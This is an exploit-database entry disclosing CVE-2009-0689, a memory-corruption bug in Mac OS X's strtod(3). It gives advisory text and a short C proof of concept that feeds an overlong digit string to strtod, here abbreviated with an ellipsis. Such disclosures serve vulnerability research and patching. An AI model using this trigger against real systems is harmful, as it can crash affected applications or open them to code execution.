Apple Mac OSX 10.x - 'libc/strtod(3)' Memory Corruption

Author: Maksymilian Arciemowicz
type: dos
platform: osx
port: 0
date_added: 2010-01-08
date_updated: 2014-05-23
verified: 1
codes: CVE-2009-0689;OSVDB-63639
tags: 
aliases: 
screenshot_url: 
application_url: 

// source: https://www.securityfocus.com/bid/37687/info

Mac OS X is prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.

Attackers may exploit this issue to execute arbitrary code within the context of affected applications.

Mac OS X 10.5 and 10.6 are affected; other versions may also be vulnerable.

#include <stdio.h>
#include <stdlib.h>
int main ()
{
char number[] = "0.1111111111...11", *e;
double weed = strtod(number, &e);
printf("grams = %lf\n", weed);
return 0;
}